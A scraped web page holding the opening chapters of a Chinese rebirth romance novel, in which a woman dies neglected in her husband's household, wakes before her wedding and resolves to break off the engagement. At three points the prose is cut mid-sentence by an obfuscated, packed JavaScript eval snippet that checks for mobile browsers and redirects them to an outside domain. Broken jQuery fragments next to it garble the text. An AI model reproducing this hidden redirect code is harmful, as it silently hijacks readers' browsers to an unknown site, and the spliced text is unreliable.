《我那不成器的夫君》 1. 第1章 香烬落 《我那不成器的夫君》 乙巳年仲秋首发于晋江 庆昭三年的冬天，均州格外冷。 刺骨寒风，肆无忌惮地席卷郧乡县的每一寸土地，干裂的枯枝发出悲啸，零星枯叶辗转翻飞，最后滚到不知名的角落，碎成齑粉。 严宅偏僻的西北角，整洁但略显逼仄的房间内，除了一方卧榻和一条长案，再无他物。 卧榻上的女子不过二十五六岁，却脸色蜡黄唇无血色，还一直不住咳嗽，她每咳一下都会带起痰湿的吸气声，显然已经病入膏肓了。 “娘子！” 侍女藏春刚端了盆热水进门，听见咳嗽声，忙搁下铜盆，快步上前，帮女子侧过身子顺背，待她气喘匀了，又去案上倒了杯水，利手利脚把人扶起来，让她整个倚靠在自己身上，这才喂水给她喝。 几口温热的水下肚，胸腔里火辣辣的似乎缓解了些，苏韵这才长吁了一口气，努力抬眼看向身后人，气若游丝道：“不是跟你说了？没事别进我这屋，免得也染了伤寒，跟着遭罪。” “不让婢子来，您就打算一直渴着么？”瞧着那张憔悴得没了模样的脸，藏春鼻子发酸，忙扭头看向别处，用力眨了眨眼，生怕被她瞧见，“婢子打了热水，给您擦擦脸吧？” 苏韵微微点头，努力扯了扯嘴角，“好。” 藏春又给她喂了几口水，小心扶她重新躺好，细心把被角掖了严实，这才回头去端铜盆，将帕子在热水里浸湿，拧了又拧，在她额头缓缓擦拭。 饶是屋里已点了红炉，身上又盖了两层冬被，苏韵还是觉得脊背上一阵阵寒，帕子带来的温度让她好受了不少，可只消片刻，额头上便又变得凉丝丝。 她忍不住打了个寒颤。 门“吱呀”一声开了，寒风瞬间灌进来，门外原本细碎的嘈杂声，突然变得真切。 是侍女雪信进来添炭。 苏韵刚要张口，嗓子一阵痒，忙又捂嘴咳了几声，纸片一样的身子，在被衾里剧烈抖动。 良久，她才抚了抚胸口，蹙眉问道：“外面又在吵什么？” “还不是那个殷氏！”提起这个，雪信眼里尽是嫌恶之色，忿忿道，“不过月事晚了两日，便时时挂在嘴上说，生怕别人不知道。一会儿说口苦，吵着要吃西家的酸枣糕，一会儿又说心慌，拉着郎君的手，直让他摸心口，简直没眼看！这郎中都还没瞧过，就要仗着肚里有货…” “雪信！”藏春忙打断，暗暗摇了摇头。 苏韵则苍白笑笑，“无妨，不让她说，她又要憋闷。” “婢子是替您不值！”雪信看着她那双无神的眼，难过得直扁嘴，“您熬坏了眼睛赚来的钱，却被老夫人拿去给郎君纳妾，您病了这么久，没人来看一眼不说，老夫人还非说是疫症，逼着咱们搬到这四处漏风的小屋里来，这么冷的天，好人都要冻坏了！郎君也是，一句话不说…” “好了，别说了！”藏春瞪了雪信一眼，“娘子还在发热症，你再去煎些药端来。” “不喝了，太苦了。” 苏韵轻轻摇头，她的身子她自己再清楚不过，事到如今，就算是有太上老君的仙丹，恐怕也是难救了。 她知道没多少时间了，可她不想再让她们为她伤心，为她哭了。 “我乏了，你们去罢，让我一个人睡会儿。” “是。” 两人轻手轻脚出了门。 苏韵眼皮发沉，慢慢阖上眼。 “好端端的，你又提这些腌臜事做什么，惹得娘子不痛快！”门外藏春的声音轻轻响起。 “还不是叫她们给气的！”雪信言语间已带了哭腔，“阿姐你不知道，我去领炭，那婆子竟然念叨我们用得多，说什么也不肯给，就这些，还是我抓花了她的脸抢的，等下那婆子，还得去老夫人面前告状！你还叫我去煎药，周郎中给的药，早就吃完了！如今钱又都在老夫人手底下…” “你小声点！这样，我这还有对耳铛，一会儿你拿着，出去看看能不能当了，再给娘子抓些药回来。” 雪信抽泣，“好，我这就去。” 两人的声音越来越远，苏韵费力睁眼，盯着床顶老旧褪色的帷幔，不由得苦笑出声。 她自诩慧心巧思，不辞劳苦，也有匪石之心，井臼躬操，怎么就能落得今天这么个下场。 藏春雪信两人自小跟着她一起长大，不说锦衣玉食，至少也是衣食无忧的，如今为了给她治病，竟也到了要典当首饰的地步。 她可真是失败透顶啊。 …… 七年前，她不顾双亲劝阻，满心欢喜嫁给了青梅竹马的书生——严朝闻。 她情窦初开时，他已偷偷褪去青涩，长成了如玉郎君。 少女的心思不懂得隐藏，她时时追在他身后，做些弄鬼掉猴的事来引他的注意。 他沉默寡言，好多人与他相识许久，也没听他说过半个字。 唯独面对她时，他有说不完的话。 他喜静，可她怎么闹他也不恼，只是在一旁看着她，宠溺地笑。 与他对视时，能感觉到他眼中无尽的爱意。 她以为从此会幸福一生。 待嫁进严府她才后知后觉，严朝闻的寡言，并非是智者修身，而是软弱怯懦。 严母强势，府中事物无论大小，事无巨细都要过问。 不但儿子读什么书，交什么友，就连出门穿什么颜色的衣袍，晚膳后饮什么茶，都要一一安排。 婚后更是将手伸到他们小两口的屋里，过问起私密事来。 严朝闻觉得没什么，苏韵可受不了。 她忍不住抱怨之时，他总是宽慰道：“这么多年来，阿娘习惯了为我操持，你刚过门，便不叫她管，怕伤了她的心。你且忍忍，过段时日，我再找机会同她说说。” 彼时两人情正浓时，蜜里调油，她耳根子一软，便信了，生生忍了下去。 谁知这一忍，便是两年。 两年的光景过去了，严母非但并未从他们的生活中退出，反而以她一直未有子嗣为由，自作主张给儿子纳了房妾室。 起初严朝闻也是不肯的，说是要找母亲理论，可不过两个回合，他便败下阵来，随后更是乖乖留宿妾室吴氏房间。 如此不过两个月，吴氏便有了身孕，数月怀胎之后，诞下一子。 从那以后，一切都变了。 他回主屋就寝的次数越来越少。 她曾偷偷瞧过他抱着儿子的模样，那可真是满心欢喜，吴氏小鸟依人在侧，一家三口其乐融融，羡煞旁人。 她这个正妻，反倒像个外人。 那个庶子的存在，更显得她无用，严母看她愈发不顺眼，总是莫名其妙把她拎过来罚上一通。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540624|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 严朝闻见了，依旧是那句：“你且忍忍，我再找机会，同阿娘好好说说，叫她别为难你。” 无数个不眠夜里，苏韵流泪孤坐到天明。 心里纵有万般苦，她也不敢告诉双亲，生怕他们跟着伤心。 没多久，阿耶左迁，整个苏家被迫搬离郧乡县，离开那日，严母找借口将她锁在家中，不让她相送。 待严朝闻黄昏归家，陪她追到城外，家人早已走远，连背影都没能见到。 她哭得撕心裂肺，他也只能无助地站在她身旁，一遍遍说对不起。 作为浔岚书院最有希望及第的学生，严朝闻却屡屡落榜，如此又过了两三年，吴氏见他入仕无望，府里的账又只出不进，便偷偷将为数不多的家产尽数变卖，带着儿子连夜逃走了。 他大受打击，志气消磨，整日喝个烂醉。 被掏空了家底，一家人吃饭都成了问题，苏韵只好做女工贴补家用，并鼓励他继续读书。 她做的鞋子，精巧舒适，很快便博得一众高门世女喜爱，前来找她定做的人越来越多，为了能按时交货，最忙时，她每日只能睡上一两个时辰。 她熬坏了眼睛，熬垮了身子，终于熬到他一举登科。 在得知好消息的那一天，苏韵掩面，喜极而泣，旋即昏倒在地。 她太累了。 都说病来如山倒，这一病，她再也没有起来。 可反观严母，却在她病重之时，拿了她好不容易攒下的银钱，极其高调地，迎了当地富商之女殷氏进门。 殷氏进门的前几日，她被严母从主屋赶了出来。 藏春她们不说，她也知道，殷氏带了极其丰厚的嫁妆进门，自然不会满足于只做一个妾室，八成是同严母达成共识，只等她咽下最后一口气，便能顺理成章做官夫人。 一方为财，一方为洗脱商贾身份，各取所需，关系倒也牢靠。 她在这旮旯的小屋里住了近百日，从秋到冬，严朝闻便只来了一次，还是隔着门板与她说话。 他说，阿娘并不准他来，他会找机会说说情，叫她且忍忍，安心养病，他很快便会来接她回去。 呵。 …… 窗外寒风凄厉哀嚎，破败的窗子随风摇曳，丁当作响，藏春塞在窗缝里的布条也散了，寒风径直灌进来，屋内最后一点热气，也都消失殆尽。 苏韵却不觉得冷，浓浓暖意由脊背开始，向周身别处慢慢扩散，仿佛置身暖阳之下。 她眼睛盯着的，床顶那处帷幔，慢慢地，开始有了色彩片段，仔细瞧去，竟是她这一生的光景。 她曾与闺中好友踏春放纸鸢，放肆奔跑大笑；她曾为逃出府苑，乔装成外院小厮；她曾熬夜制鞋，疲乏时按揉双目；她也曾独坐窗边黯然神伤，那是被冷落，孤枕难眠之时。 回首这一生，竟是苦涩多过欢愉。 若有来世，她宁愿薄情寡性，学那趋利避害的吴氏，也再不要这样活了。 是遗憾吗？好像也不算。 倒更似解脱了。 最后的最后，是阿娘，手里捧着她最爱吃的梅花酥，笑着朝她招手。 “阿娘…” 她缓缓闭上眼，眼角滑落一滴晶莹的泪，嘴角却微微扬起。 不知过了多久，寒风止，薄雪落，白烛熄。 空余一片萧瑟。 2. 第2章 玉堂春 “娘子，娘子！” 苏韵缓缓睁眼，雪信那懵懂双眼映入眼帘。 “不是说，要想办法溜出去么？娘子怎么睡着了？” 溜出去？ 她这副身子，床榻都下不了，还能出去哪呢？ 没等理解雪信那话的意思，苏韵左手臂传来一阵酥麻，低头看去，红红一片压痕，很明显是伏在这石案上睡觉压的。 等等，石案？ 她蓦地起身，伸手去摸身下那条石案，案角她幼时亲手刻的流云纹还在。 茫然四顾，一树一景都那么熟悉，竟是她未出阁时住的绣绮堂！ “我，我怎么回到家中了？”她喃喃自语。 不，不对。 明明是冬日，怎么身着薄衫，背上还晒得暖洋洋的？ 她缓缓抬头，青阳高悬，轻风拂面，偶有粉白花瓣随风荡下，莺飞草长，是阳春三月没错。 她又低下头看了看自己的手，指尖柔嫩并无薄茧，扭头看向一旁庑廊尽头挂着的仕女图，图上仕女婉约神态清晰可见。 要知道，她的眼睛已患短视许久，这么远的距离，根本无法分辨图上是人是兽。 再活动活动颈肩筋骨，只觉得浑身轻快舒畅，哪里还有病痛折磨的模样了？ 苏韵满腹疑团。 这到底是怎么回事？ 正当她瞧着仕女图发愣的时候，雪信凑了过来，顺着她的视线也朝庑廊望去，满脸好奇问道：“仕女图？娘子莫非又有了什么主意？要不要婢子把图取来，给您瞧瞧？” 话音刚落，一根葱尖似的手指便戳在雪信脑门上。 “哎呦！” “娘子莫要听她撺掇！”藏春白了雪信一眼，转头对苏韵道，“您今日就听夫人一回，别偷溜出去见严郎君了。夫人说得，句句在理，严郎君连纳征下聘都不肯露面，任由旁人对娘子您指指点点，这威风，必得在成亲前就杀了去，不然往后哪还有您好日子过？夫人特地没马上回礼，冷了他们严家好几日，如今您再巴巴地去寻人，岂不前功尽弃？” 苏韵静静听完，不由得一阵恍惚。 这是严家下聘几日后，藏春曾在院中对她说过的话，一字不差。 说的人苦口婆心，听的人却没往心里去，转身便带着雪信，溜出去见了严朝闻，还给他带了唐菓子。 可她不是病死了吗？ 怎么好似一切又重来一遭？ 到底嫁入严宅那七年是梦，还是此刻是梦，她倒有些辨不清了。 老天还真是爱开玩笑，若是真想给她重来一次的机会，为何又偏偏是在下聘之后？ 见苏韵呆呆坐在原处不吭声，雪信到她面前摆了摆手，嘟囔着：“娘子好像还没睡醒。” “我饿了。” “什么？” 没头没脑这么一句，藏春雪信两人都是一怔。 苏韵转头看向她俩，重复道：“我饿了，我想吃阿娘做的梅花酥和酪樱桃。” 还是藏春先反应过来，喜道：“欸，我这就去同夫人说！” 说完，疾步出了院子。 雪信转身在石桌旁坐了下来，双手托腮，闷闷道：“我倒觉得，还是娘子说得有理，您与严郎君情投意合，这便足够了，何必计较这些俗礼呢？” 苏韵自嘲般地笑了笑，“是啊，你不提醒，我都差点忘了，我竟还说过这么蠢的话呢。” 彼时，她的眼里只有情郎，丝毫没注意到成亲前，便已有诸多不妥。 她与严朝闻自十岁相识，可谓是青梅竹马。 严朝闻五岁开蒙，自小便在读书上，展露出极高的天赋，刚过束发之年，众学子神往已久的浔岚书院，便抛来橄榄枝，希望他能到书院读书。 他一入书院，便成了其中最优秀的学生，人人都说，严郎君学识文采双绝，功名不过是早晚的事。 加之他清冷寡言，面容隽秀，很快便赢得了一众小娘子的青眼，成了郧乡县第一郎君。 很快，严朝闻便到了该娶妻的年纪，若以其母江氏的心思，自己的宝贝儿子，未来必定高步云衢，成为朝中新贵，配天仙都绰绰有余，更别提苏韵只是区区县丞之女了。 为了将‘勉为其难接受苏韵’的这份心思昭告天下，江氏可谓是费尽了心思。 先是谎称猎不到大雁，且连只面雁都不肯准备，而后对外大放厥词，称，要不是苏家催促，绝不会将婚期如此仓皇定下，害得好多东西来不及准备，引得外界一度传言，二人暗通款曲珠胎暗结，这才急着成婚。 在下聘之日，又以不好耽误学业为由，叫严朝闻去书院呆了一整天。 当然，这些她也都是在后来的日子，才慢慢知晓的。 一想到这些，苏韵眉头慢慢蹙紧。 刚成婚的那些日子，她只顾着与严朝闻你侬我侬，哪有心思顾及耶娘的感受。 郧乡县并不大，严家如此行事，苏家怕是早已沦为茶余饭后的谈资了。 如今想来，她还真是不孝至极。 …… “娘子怎么了？”雪信见她面色变了又变却不说话，疑惑问道。 微风拂来，夹杂着淡淡花香，一绺碎发飘在眼前，定是刚刚打瞌睡时弄乱的。 苏韵抬手拨了拨，缓缓站起身，像下定了决心一般，挺直了腰背，“雪信，帮我整理妆发。” 雪信一听，一蹦三尺高，兴奋道：“我就知道！娘子刚才，是为了支开藏春阿姐对吧？那接下来，我们该如何做？” 苏韵朱唇微启，轻轻吐出两个字，“退亲。” * 厨房内，苏韵的母亲林氏，正系着襻膊，在蒸腾的热气与烟气之中忙碌着。 只见林氏将刚摘下的新鲜樱桃果，一颗一颗，小心摆入玉盘中，偶尔还因形状不佳，转头在篮中仔细挑选调换，摆好之后端着盘子左看右看，这才满意点点头。 侍女玉奴见状掩口笑道：“夫人刚刚还说气得头疼，结果一听娘子要吃食，就浑身利索，巴巴地跑到厨房来了。” 林氏怅然，“我还能真生她的气不成？等她嫁了人，想吃也吃不到了。” “夫人多虑了，娘子嫁得又不远，想吃随时可以回来吃啊。”玉奴宽慰道，“或者婢子也可以去送。” “也不知这严家的规矩多不多。”林氏轻叹一声，随后俯身端起蔗浆，缓缓浇在摆好的樱桃上，喃喃自语道，“这蔗浆啊，得多浇些，徵儿爱吃甜的。” 徵儿是苏韵的小字。 见此情景，苏韵鼻子一酸。 也只有阿娘时时记得她的喜好。 苏家举家迁离时，她成亲不过三载，算起来，已经快四年没见过母亲了。 “阿娘！”她情难自已，冲进厨房，从身后紧紧抱住林氏。 林氏被吓了一跳，转头见是她，不禁哑然失笑，“哎呦，都是要嫁人的人了，怎么还这么毛毛躁躁的？” “阿娘，儿想您了。”苏韵将头靠在母亲肩上，撒娇似的摇晃道。 “早上我不准你出门，你不是还气鼓鼓的吗？”林氏捏起一颗蘸了蔗浆的樱桃，送入她口中，旋即又蹙眉，警惕道，“你莫不是，又要耍什么花样来诓我吧？” 苏韵没说话，只是将母亲抱得更紧。 唇齿间七分甜三分酸，久违的味道叫她百感交集，她刚想腾出手来接樱桃核，却见母亲回身，习惯性地摊开手掌，送到她唇边，等她张口吐核。 这下她再也忍不住，扑簌扑簌落起泪来。 林氏慌了，忙擦了擦手，转过身拉她入怀，帮她擦泪，“这好端端的，怎么就哭起来了？” 苏韵抽泣，“儿不孝，连累阿耶阿娘，跟儿受苦了。” 林氏先是一怔，而后明白过来，定是最近严家所为，传到女儿耳朵里，叫她伤心了，不由得也红了眼眶，一下一下抚着她的头发，柔声说着。 “徵儿，阿娘阻拦你，不让你出门去见朝闻，并非是在意苏家脸面，才非要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540625|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他严家争个高下不可，而是怕他们觉得我们软弱，从而苛待于你。朝闻是我从小看到大的，我知他是个稳妥的好孩子，可他母亲江氏，绝不是个好相与的。” 说完，想到两家已经在谈婚论嫁，再说这些也不过徒增女儿烦恼，又轻快改口道：“不过，现在阿娘也是想通了，这往后啊，毕竟是你们两个过日子，只要你们两个情比金坚，再多困难，也都是不怕的。” 情比金坚。 对于现在的苏韵来说，这四个字却是刺耳无比。 她用袖子拂了拂泪，“阿娘，阿耶在何处？儿有话要同你们说。” * “退亲？” 苏崇错愕万分，手中的荠花饮险些翻洒，可瞧着女儿神色凛然跪在面前，也不像是说笑的样子，不由得转头看向夫人林氏。 林氏则轻摇头，表示并不知情。 “这…前些日子，你不是还吵着闹着，说非严朝闻不嫁吗？如今这聘礼都送来几日了，眼看定下日子便要嫁过去了，怎么又想着要退亲？”苏崇不解，“你们两个，吵架了？” 林氏也劝道：“徵儿，这外人说什么，你不必理会，更不必为了我和你阿耶，变心易虑，违背自己内心。婚姻大事绝非儿戏，需得三思而后行才是。” 苏韵跪得笔直，斩钉截铁道：“阿耶阿娘，正因为婚姻大事并非儿戏，儿才要退亲，儿不是一时意气，是真的想好了。” 瞧着她决然的模样，苏崇心底冒出一个念头，蓦地撑案而起，怫然问道：“莫不是他严朝闻，偷偷在外面养了别宅妇？或是，做了其他对不起你的事？” 苏韵摇头，“那倒没有。” “哦，没有就好。”苏崇松了口气，缓缓坐回去，可转念一想，还是想不通，“既然没做什么对不起的你事，那为何非要退亲不可？” “可并非洁身自好便是良配！”苏韵目光如炬，字字铿锵，“先前阿耶阿娘劝儿的话，儿都细细想过了，耶娘说得没错，严家夫人强势，儿只身嫁过去，日子定是不好过，原本是想着，严朝闻能怜我爱我，护我周全，可几番事情下来，儿发觉他虽对儿有情意，却天性软弱怯懦，毫无担当，处事要么避重就轻，要么搪塞推诿，实难托付终身。” 林氏越听眉头皱得越紧。 苏崇也沉默片刻，“可如今，严家已经下了聘，两家也过了官府文书…” 苏韵急道：“阿耶，总不能因为已下了聘，便明知道遇人不淑，所托非人，还硬要儿嫁过去，毁儿一生吧？” 听女儿把话说得这么重，夫妇二人惊诧对视一眼。 苏韵继续道：“您也瞧见了，这还没过门呢，他母亲便要事事做儿的主，明知儿不愿，他也不肯从中调解，只一味地和稀泥，两面敷衍，如此行事，我与他母亲岂不是日久积恨，徒生怨怼？” “他不敢担当，难为人夫，需他母亲处处代劳，他母亲自是不会怨他半句，吃的苦受的罪又将算到我头上。现在他与我情正浓时，尚且敷衍塞责，待到日后情浅爱驰，再让他在我与他母亲之间做抉择，又当如何？” 她越说越激愤，“既如此，儿宁愿现在退亲贻笑大方，也不愿稀里糊涂嫁过去，含辛忍苦，抑郁而终！” 林氏彻底愣住了。 今日之前，女儿还是个，眼里只有‘朝闻阿兄’的稚气小娘子，怎的才半日不见，便一改痴心面容，且说话条理清晰，仿佛一下子长了好几岁？ 苏崇也是被这一席话惊得不轻，嘴唇翕动了半天，也没能说出什么来。 屋里静得只剩下呼吸声。 半晌，林氏正色问道：“徵儿，你可想好了？以他母亲江氏的性子，此次若是退了亲，即便不成仇家，也必将老死不相往来，届时你再回心转意，想嫁进严家，亦是不能了。” 苏韵点头，笃定道：“阿娘，儿想好了。” 话音刚落，堂外传来高亢尖锐的女声。 “不过是孩子的玩笑话，毓秀妹妹哪能当真呢？” 3. 第3章 踏莎行 “二夫人，您好歹容我通禀一声…二夫人！” 守在门口的侍女试图阻拦，无奈身形单薄，一下就被来人拨到身后。 步入屋内的妇人面容圆润，身材丰腴，一身雪青色曳地抹胸长裙，外搭芸黄色轻薄大袖长衫，肩披月白披帛，走起路来，头上半斤重的钗环叮当作响，看到苏崇佯装意外，“哟，三郎也在家啊。” 苏韵起身退到一边，简单行了个礼。 差点忘了还有这么个人。 此人正是她的二伯母胡氏。 苏家有三兄弟，她父亲苏崇行三，任郧乡县县丞。 大伯父已病故十余年，二伯父苏岩刚升任太医令，在宫里当差，俸禄还不够在西京买私宅，胡氏便带着长女苏荷和儿子苏承会，还在本家住着。 胡氏人还没住到西京，心可早就飞去了，成日里高昂着头，活像只骄傲的公鸡，恨不得把全部家当都穿戴在身上，一见到人便要迫不及待炫耀，这对镯子，那根簪子又是宫里哪位贵人的赏赐。 不仅如此，胡氏还为人尖酸刻薄，说话向来是连讥讽带挖苦，每每还专挑人最痛处戳，实在是叫人亲近不起来。 可她和严朝闻的亲事能成，胡氏当居首功。 彼时得知严家有意提亲，耶娘都极力反对，甚至为了断了她的念想，禁了她半个月的足。 是胡氏，从中周旋，不厌其烦地劝和，加之她以绝食威胁，耶娘这才松了口。 当然，她也清楚地知道，胡氏为什么会帮她这个忙。 胡氏毕生夙愿，就是将女儿苏荷嫁进高门大户，当个尊贵的郡夫人，享一辈子清福。 无奈苏家小门小户，祖上又没出过什么大官，苏荷此时议亲，大抵只能嫁个跟苏家家境差不多的。 可自打她和严朝闻议亲的消息传出去，已经有两家均州官宦世家的郎君，来相看过苏荷了，美中不足的是，来的都是家中不得宠的庶子。 若是有朝一日严朝闻再攀蟾折桂，那如意郎君还不是任苏荷挑选？ 尝过了这场亲事带来的好处，胡氏自是不会放过这夙愿达成大好机会，所以才倾尽全力来促成。 今日不请自来，想必也是按捺不住，生怕中间有什么闪失。 如今得知她要退亲，怕是不肯善罢甘休啊。 …… 林氏眼神示意胡氏身后的侍女退下。 苏崇抬眼看了看这位不速之客，皱眉道：“二嫂来得不巧，我与夫人，有话要同徵儿说，还请……” “不是在说徵儿的亲事吗？”胡氏径直打断，自顾自找地方坐下，“我也替她着急呢！要我说呀，毓秀妹妹还是抓紧些，赶紧备些回礼给严家送去，这多好的亲事，我们这些当长辈的，只有成全的份儿，哪能由着孩子的性子胡来呢？她不懂事，咱们大人不能也不懂事。妹妹若是无从下手，我去替你操办也成。” 说完又转向苏韵，“徵儿你也是的，马上就要嫁做人妇，还耍小孩子脾气，真要是把这亲事拖黄了，你后悔都来不及！” 下了逐客令人都不走，苏崇心中不快，可碍于情面又不好发作，只能无奈叹了口气。 “让二嫂费心了。”林氏浅笑道，“这门亲事，确实有许多不合适的地方，需得从长计议才是。” “妹妹可不要糊涂！”听到林氏竟也有意退亲，胡氏肉眼可见地急了起来，“严家郎君卓尔不群，又对徵儿情有独钟，徵儿不是也心悦他么，这样好的姻缘，断了岂不可惜？再说，夫妻相处，哪有舌头不碰牙的？你我都是过来人，好好劝说徵儿便是。” 林氏心里也拿不太准，扭头看向女儿。 退亲的事还没说完，苏韵只想快点将人打发走，直接拒绝道：“不必再劝了，徵儿心意已决。” “心意已决？你才几岁？”胡氏却似听到什么好笑的事，嗤笑道，“我也是从你这么大过来的，像你这个年纪，今儿个说喜欢红的，明儿个又会说喜欢绿的，哪里有什么不变的心意？” 拿年纪说事，似乎做晚辈的再有理，也能轻易化作幼稚的无理取闹。 苏韵盯住胡氏，忽地笑了，“听了二伯母的话，徵儿茅塞顿开，怪不得最近看严朝闻，越看越不顺眼呢，八成，也是不喜欢了吧。” 胡氏一怔，随即不自然地干笑两声，“这孩子，说的都是气话。” 苏韵摇头，“不是气话，是真的不顺眼，一看到他，都恨不得拔下簪子，朝他身上戳上几下的程度。” 胡氏不死心，把手中团扇往面前案上一搁，“全家上下，谁不知道你从及笄起，便每日追着严家郎君，‘朝闻阿兄’，‘朝闻阿兄’的唤？” “这又说明不了什么。”苏韵似笑非笑，“香尘堂姐也是这样唤他的。” 香尘是胡氏女儿苏荷的小字。 这一句接着一句，呛得胡氏差点一口气没上来，接连猛咳了好几声。 林氏盯着女儿，心下只觉得奇怪，这要搁在以前，她心里那点不痛快，早就挂在脸上了，如今面上却是什么都瞧不出来。 沉默许久的苏崇，终于忍不住开口道：“二嫂，你有操心徵儿的时间，还是多考虑考虑香尘的亲事吧，香尘比徵儿还要虚长一岁呢。” “不急，不急。” 胡氏随口应着，端起案上的饮子，慢慢抿上一小口，待到心里重新有了应对，这才放下杯子，苦口婆心道：“徵儿啊，你还小，体会不到，这女儿家的前程，全都系在夫君身上，可放眼整个郧乡县，哪还有比严朝闻，更有前途的郎君了？” 苏韵心里快把白眼翻到天上去了。 前程全系在夫君身上，过得好坏全凭枕边人良心，运气差些的，怕是怎么死的都不知道。 当然，她倒也不会真的这样说。她笑笑，慢条斯理道：“人外有人，天外有天，郧乡县没有，我便去西京找，西京人才辈出，不怕找不到如意郎君。” “先不说你能不能嫁到西京去。”胡氏拿出杀手锏，“即便真有这样好的亲事，你就舍得远嫁，丢下你耶娘？你耶娘可只有你一个女儿。” 苏韵果然顿了顿，抬眼看向耶娘。 阿耶额前和鬓间，不知何时，已出现丝丝银发，阿娘似乎也比她印象中消瘦了几分。 她心头一紧，快步上前走到林氏身边，轻握阿娘的手，“那我就把阿耶阿娘，都接到西京去。” 林氏闻言哑然失笑，“净说胡话，哪有带着耶娘嫁人的？传出去岂不是叫人笑话？” 苏韵满不在乎，“那让他们笑便是，我才不在乎呢。” 见她油盐不进，胡氏急了，转向苏崇，“三郎，难道你们要由着她退亲？你们就算不为她考虑，也要该苏家未出阁的女儿们想想啊！” 苏韵是三房独女，苏家未出阁的女儿，除了她和堂姊苏荷，还有大房家的幺女苏璎。 可苏璎还未及笄，且自小体弱多病，一直养在懂医理的祖母院子里。 苏崇不疾不徐，明知故问道：“二嫂是怕，我们退亲，会影响香尘的亲事，害香尘嫁不上好人家？这倒是我疏忽了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540626|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡氏哪里肯承认，嘴硬道：“没有的事，这不是，这不是还有苏璎吗？” “还是二嫂想得周全。”苏崇也不拆穿她，频频点头，一副深以为然的模样，“不过，苏璎还小，等她议亲的时候，怎么着也是几年后了，没人会把事情记那么久的。” 胡氏忙摆手道：“欸？话可不是这么说！三郎可知，西市卖胡饼的周家幺娘，三年前被夫家休了，灰头土脸回了娘家，直到现在连门都不敢出，还不是怕被人在背后戳脊梁骨？女儿家的声誉，可是一点也糟践不得。” 闻言，林氏有些不悦，眉头蹙紧，“这退亲和被休，区别还是挺大的吧，再者说，也是我们要退的亲。” “二伯母有所不知，”苏韵突然开口道，“周幺娘是因为身患恶疾，才被休的。她不出门哪里是怕那些不着边际的话？她是缠绵病榻，根本下不了床。有些市井妇人平日里闲来无事，就知道聚在一处胡乱编排人，二伯母可不要胡乱听信才是啊。” 虽然这话听着有指桑骂槐的嫌疑，胡氏却也只能暗暗咬牙，不等想出下话，又听苏韵道：“二伯母，您头上这步摇，可是新鲜物件，难不成，又是宫里贵人赏的？” 胡氏见她直直盯着自己的头上，忍不住抬手摸了摸那支崭新的鎏金步摇，心中愠怒稍稍退了些，“是啊，你倒是眼尖。” “可真好看！”苏韵面露痴色，赞道，“瞧这款式，这质地，一看就是好东西！” 听她这么说，胡氏实在按捺不住心中得意，强压嘴角道：“还是你识货，你二伯父说了，这还是今年石洲的贡品，就这么一支，上面镶嵌的都是上等珊瑚和松石，圣人赏给…” 说到一半，胡氏倏地顿住。 怎么说到步摇上去了？ 再一抬眼，瞧见少女面上狡黠笑容一闪即逝，胡氏登时恨得牙痒痒，自己竟然这么轻易地，被她牵着鼻子走。 胡氏清了清嗓，试图将话题往回转，“这些呀，到底都是些身外之物，嫁个有前途的夫君，你想要多少好看的簪子、步摇，也都是有的。” 苏韵忙不迭点头，“二伯母说到我心坎里去了，我以后的夫君，也得有本事，能送我独一无二的首饰才行。” 胡氏气得说不出话，袖子里的手指节都捏白了。 她口干舌燥地说了这么半天，自认为戳的都是要害之处，可几个回合下来，倒好似拳拳都打在棉花上，自己累得够呛，对方不痛不痒。 原本还以为，苏韵说要退亲，三房夫妇怎么也要犹豫几分，谁知一家三口竟同仇敌忾，齐齐调转枪头对准了她，到底双拳难敌四手，再说下去，也难有结果。 女儿大好前程就在眼前，叫她就这么放弃，绝无可能！ 胡氏眼睛转了几转，心下有了新的主意，缓缓撑膝起身，“哎呀！承会快要散学了，我呀，这就先回去了。” 本就是不请自来，自然没人张口挽留，不过胡氏也没心思在意这些，出了门便拉过心腹侍女，窸窣耳语几句，看着侍女匆匆离去，这才长舒了一口胸中闷气。 再说屋内，夫妇二人盯着女儿，迟迟不开口。 苏韵心中忐忑，耶娘不理解也是正常，毕竟他们不知道她到底经历了什么，在他们眼中，大抵女儿朝秦暮楚，反复无常，所言叫人难以信服。 看来只能将事情原委和盘托出了，希望耶娘不要以为她得了癔症才好。 她深吸一口气，“其实儿…” “她既不愿嫁，这亲，便退了罢。” 林氏缓缓说道。 4. 第4章 胡捣练 苏韵倒怔住了。 林氏朝女儿伸出手，待她来到身前顺势将她揽进怀中，“傻徵儿，阿娘只有你这么一个孩子，还能眼睁睁看着你受苦不成？” 苏韵惊喜抬眼，“您信儿？” 